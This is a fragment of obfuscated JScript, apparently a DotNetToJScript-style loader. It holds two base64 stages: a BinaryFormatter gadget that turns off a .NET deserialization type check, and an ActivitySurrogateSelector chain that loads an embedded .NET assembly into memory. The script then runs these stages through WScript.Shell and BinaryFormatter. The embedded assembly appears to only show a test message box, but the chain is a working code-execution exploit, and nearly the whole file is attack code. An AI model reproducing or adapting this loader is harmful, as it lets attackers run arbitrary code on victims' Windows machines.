\"AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAxxA8UmVzb3VyY2VEaWN0aW9uYXJ5DQogICAgICAgICAgICB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIg0KICAgICAgICAgICAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogICAgICAgICAgICB4bWxuczpzPSJjbHItbmFtZXNwYWNlOlN5c3RlbTthc3NlbWJseT1tc2NvcmxpYiINCiAgICAgICAgICAgIHhtbG5zOmM9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkNvbmZpZ3VyYXRpb247YXNzZW1ibHk9U3lzdGVtLkNvbmZpZ3VyYXRpb24iDQogICAgICAgICAgICB4bWxuczpyPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5SZWZsZWN0aW9uO2Fzc2VtYmx5PW1zY29ybGliIj4NCiAgICAgICAgICAgICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJ0eXBlIiBPYmplY3RUeXBlPSJ7eDpUeXBlIHM6VHlwZX0iIE1ldGhvZE5hbWU9IkdldFR5cGUiPg0KICAgICAgICAgICAgICAgICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgICAgICAgICAgICAgICAgICA8czpTdHJpbmc+U3lzdGVtLldvcmtmbG93LkNvbXBvbmVudE1vZGVsLkFwcFNldHRpbmdzLCBTeXN0ZW0uV29ya2Zsb3cuQ29tcG9uZW50TW9kZWwsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1PC9zOlN0cmluZz4NCiAgICAgICAgICAgICAgICAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgICAgICAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCiAgICAgICAgICAgICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJmaWVsZCIgT2JqZWN0SW5zdGFuY2U9IntTdGF0aWNSZXNvdXJjZSB0eXBlfSIgTWV0aG9kTmFtZT0iR2V0RmllbGQiPg0KICAgICAgICAgICAgICAgICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgICAgICAgICAgICAgICAgICA8czpTdHJpbmc+ZGlzYWJsZUFjdGl2aXR5U3Vycm9nYXRlU2VsZWN0b3JUeXBlQ2hlY2s8L3M6U3RyaW5nPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHI6QmluZGluZ0ZsYWdzPjQwPC9yOkJpbmRpbmdGbGFncz4NCiAgICAgICAgICAgICAgICAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgICAgICAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCiAgICAgICAgICAgICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJzZXQiIE9iamVjdEluc3RhbmNlPSJ7U3RhdGljUmVzb3VyY2UgZmllbGR9IiBNZXRob2ROYW1lPSJTZXRWYWx1ZSI+DQogICAgICAgICAgICAgICAgICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxzOk9iamVjdC8+DQogICAgICAgICAgICAgICAgICAgICAgICA8czpCb29sZWFuPnRydWU8L3M6Qm9vbGVhbj4NCiAgICAgICAgICAgICAgICAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgICAgICAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCiAgICAgICAgICAgICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJzZXRNZXRob2QiIE9iamVjdEluc3RhbmNlPSJ7eDpTdGF0aWMgYzpDb25maWd1cmF0aW9uTWFuYWdlci5BcHBTZXR0aW5nc30iIE1ldGhvZE5hbWUgPSJTZXQiPg0KICAgICAgICAgICAgICAgICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgICAgICAgICAgICAgICAgICA8czpTdHJpbmc+bWljcm9zb2Z0OldvcmtmbG93Q29tcG9uZW50TW9kZWw6RGlzYWJsZUFjdGl2aXR5U3Vycm9nYXRlU2VsZWN0b3JUeXBlQ2hlY2s8L3M6U3RyaW5nPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHM6U3RyaW5nPnRydWU8L3M6U3RyaW5nPg0KICAgICAgICAgICAgICAgICAgICA8L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPg0KICAgICAgICAgICAgICAgIDwvT2JqZWN0RGF0YVByb3ZpZGVyPg0KICAgICAgICAgICAgPC9SZXNvdXJjZURpY3Rpb25hcnk+Cw==\";var stage_2 = \"AAEAAAD/////AQAAAAAAAAAMAgAAAE5TeXN0ZW0uRGF0YSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAABNTeXN0ZW0uRGF0YS5EYXRhU2V0CgAAABZEYXRhU2V0LlJlbW90aW5nRm9ybWF0E0RhdGFTZXQuRGF0YVNldE5hbWURRGF0YVNldC5OYW1lc3BhY2UORGF0YVNldC5QcmVmaXgVRGF0YVNldC5DYXNlU2Vuc2l0aXZlEkRhdGFTZXQuTG9jYWxlTENJRBpEYXRhU2V0LkVuZm9yY2VDb25zdHJhaW50cxpEYXRhU2V0LkV4dGVuZGVkUHJvcGVydGllcxREYXRhU2V0LlRhYmxlcy5Db3VudBBEYXRhU2V0LlRhYmxlc18wBAEBAQAAAAIABx9TeXN0ZW0uRGF0YS5TZXJpYWxpemF0aW9uRm9ybWF0AgAAAAEIAQgCAgAAAAX9////H1N5c3RlbS5EYXRhLlNlcmlhbGl6YXRpb25Gb3JtYXQBAAAAB3ZhbHVlX18ACAIAAAABAAAABgQAAAAACQQAAAAJBAAAAAAJBAAAAAoBAAAACQUAAAAPBQAAAIEhAAACAAEAAAD/////AQAAAAAAAAAEAQAAAH9TeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5PYmplY3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dAwAAAAZfaXRlbXMFX3NpemUIX3ZlcnNpb24FAAAICAkCAAAABwAAAAcAAAAQAgAAAAgAAAAJAwAAAAkEAAAACQUAAAAJBgAAAAkHAAAACQgAAAAJCQAAAAoMCgAAAGFTeXN0ZW0uV29ya2Zsb3cuQ29tcG9uZW50TW9kZWwsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQMAAABqU3lzdGVtLldvcmtmbG93LkNvbXBvbmVudE1vZGVsLlNlcmlhbGl6YXRpb24uQWN0aXZpdHlTdXJyb2dhdGVTZWxlY3RvcitPYmplY3RTdXJyb2dhdGUrT2JqZWN0U2VyaWFsaXplZFJlZgIAAAAEdHlwZQttZW1iZXJEYXRhcwMFH1N5c3RlbS5Vbml0eVNlcmlhbGl6YXRpb25Ib2xkZXIKAAAACQsAAAAJDAAAAAEEAAAAAwAAAAkNAAAACQ4AAAABBQAAAAMAAAAJDwAAAAkQAAAAAQYAAAADAAAACREAAAAJEgAAAAEHAAAAAwAAAAkTAAAACRQAAAABCAAAAAMAAAAJFQAAAAkWAAAABAkAAAAcU3lzdGVtLkNvbGxlY3Rpb25zLkhhc2h0YWJsZQcAAAAKTG9hZEZhY3RvcgdWZXJzaW9uCENvbXBhcmVyEEhhc2hDb2RlUHJvdmlkZXIISGFzaFNpemUES2V5cwZWYWx1ZXMAAAMDAAUFCwgcU3lzdGVtLkNvbGxlY3Rpb25zLklDb21wYXJlciRTeXN0ZW0uQ29sbGVjdGlvbnMuSUhhc2hDb2RlUHJvdmlkZXII7FE4PwIAAAAKCgMAAAAJFwAAAAkYAAAABAsAAAAfU3lzdGVtLlVuaXR5U2VyaWFsaXphdGlvbkhvbGRlcgMAAAAERGF0YQlVbml0eVR5cGUMQXNzZW1ibHlOYW1lAQABCAYZAAAA+AFTeXN0ZW0uTGlucS5FbnVtZXJhYmxlK1doZXJlU2VsZWN0TGlzdEl0ZXJhdG9yYDJbW1N5c3RlbS5CeXRlW10sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAGGgAAAE5TeXN0ZW0uQ29yZSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkQDAAAAAcAAAAJGwAAAAoJHAAAAAkdAAAACAgAAAAACggIAQAAAAENAAAACwAAAAYeAAAA+AFTeXN0ZW0uTGlucS5FbnVtZXJhYmxlKzxTZWxlY3RNYW55SXRlcmF0b3I+ZF9fMTdgMltbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHksIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAJGgAAABAOAAAACQAAAAgI/v///woICAEAAAAKCQMAAAAKCSEAAAANAgEPAAAACwAAAAYiAAAA7wFTeXN0ZW0uTGlucS5FbnVtZXJhYmxlK1doZXJlU2VsZWN0RW51bWVyYWJsZUl0ZXJhdG9yYDJbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uT2JqZWN0LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAJGgAAABAQAAAABwAAAAkEAAAACgklAAAACggIAAAAAAoICAEAAAABEQAAAAsAAAAGJgAAAClTeXN0ZW0uV2ViLlVJLldlYkNvbnRyb2xzLlBhZ2VkRGF0YVNvdXJjZQQAAAAGJwAAAE1TeXN0ZW0uV2ViLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YjAzZjVmN2YxMWQ1MGEzYRASAAAABwAAAAkFAAAACAgAAAAACAgKAAAACAEACAEACAEACAgAAAAAARMAAAALAAAABikAAAApU3lzdGVtLkNvbXBvbmVudE1vZGVsLkRlc2lnbi5EZXNpZ25lclZlcmIEAAAABioAAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4ORAUAAAABQAAAA0CCSsAAAAICAMAAAAJCAAAAAEVAAAACwAAAAYtAAAANFN5c3RlbS5SdW50aW1lLlJlbW90aW5nLkNoYW5uZWxzLkFnZ3JlZ2F0ZURpY3Rpb25hcnkEAAAABi4AAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5EBYAAAABAAAACQYAAAAQFwAAAAIAAAAJBwAAAAkHAAAAEBgAAAACAAAABjEAAAACdjIGMgAAAAJ2MQQbAAAAf1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkxpc3RgMVtbU3lzdGVtLkJ5dGVbXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0DAAAABl9pdGVtcwVfc2l6ZQhfdmVyc2lvbgMAAA9TeXN0ZW0uQnl0ZVtdW10ICAkzAAAAAQAAAAEAAAAEHAAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAgAAAAhEZWxlZ2F0ZQdtZXRob2QwAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5L1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyCTQAAAAJNQAAAAQdAAAAigFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDErRW51bWVyYXRvcltbU3lzdGVtLkJ5dGVbXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0EAAAABGxpc3QFaW5kZXgHdmVyc2lvbgdjdXJyZW50AwAAB39TeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5CeXRlW10sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCAgCCgAAAAAAAAAACgEhAAAAHAAAAAk2AAAACTcAAAABJQAAABwAAAAJOAAAAAk5AAAAASsAAAADAAAACToAAAAJOwAAAAczAAAAAQEAAAAEAAAABwIJPAAAAAoKCgQ0AAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5Bj0AAADVAVN5c3RlbS5GdW5jYDJbW1N5c3RlbS5CeXRlW10sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQkuAAAACgkuAAAABj8AAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkGQAAAAARMb2FkCgQ1AAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQlAAAAACS4AAAAJPwAAAAZDAAAAJ1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5IExvYWQoQnl0ZVtdKQZEAAAALlN5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5IExvYWQoU3lzdGVtLkJ5dGVbXSkIAAAACgE2AAAANAAAAAZFAAAAzAJTeXN0ZW0uRnVuY2AyW1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmFibGVgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQkuAAAACgkuAAAACT8AAAAGSAAAAAhHZXRUeXBlcwoBNwAAADUAAAAJSAAAAAkuAAAACT8AAAAGSwAAABhTeXN0ZW0uVHlwZVtdIEdldFR5cGVzKCkGTAAAABhTeXN0ZW0uVHlwZVtdIEdldFR5cGVzKCkIAAAACgE4AAAANAAAAAZNAAAAxgFTeXN0ZW0uRnVuY2AyW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLk9iamVjdCwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0JLgAAAAoJLgAAAAZPAAAAEFN5c3RlbS5BY3RpdmF0b3IGUAAAAA5DcmVhdGVJbnN0YW5jZQoBOQAAADUAAAAJUAAAAAkuAAAACU8AAAAGUwAAAClTeXN0ZW0uT2JqZWN0IENyZWF0ZUluc3RhbmNlKFN5c3RlbS5UeXBlKQZUAAAAKVN5c3RlbS5PYmplY3QgQ3JlYXRlSW5zdGFuY2UoU3lzdGVtLlR5cGUpCAAAAAoBOgAAAAsAAAAGVQAAACZTeXN0ZW0uQ29tcG9uZW50TW9kZWwuRGVzaWduLkNvbW1hbmRJRAQAAAAJKgAAABA7AAAAAgAAAAlXAAAACAgAIAAADzwAAAAADgAAAk1akAAD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\";try { var shell = new ActiveXObject('WScript.Shell'); ver = 'v4.0.30319'; try { shell.RegRead('HKLM\\\\SOFTWARE\\\\Microsoft\\\\.NETFramework\\\\v4.0.30319\\\\'); } catch(e) { ver = 'v2.0.50727'; } shell.Environment('Process')('COMPLUS_Version') = ver; var ms_1 = Base64ToStream(stage_1, 2341); var fmt_1 = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter'); fmt_1.Deserialize_2(ms_1); } catch (e) { try{ var ms_2 = Base64ToStream(stage_2, 9073); var fmt_2 = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter'); fmt_2.Deserialize_2(ms_2); }catch (e2){}} 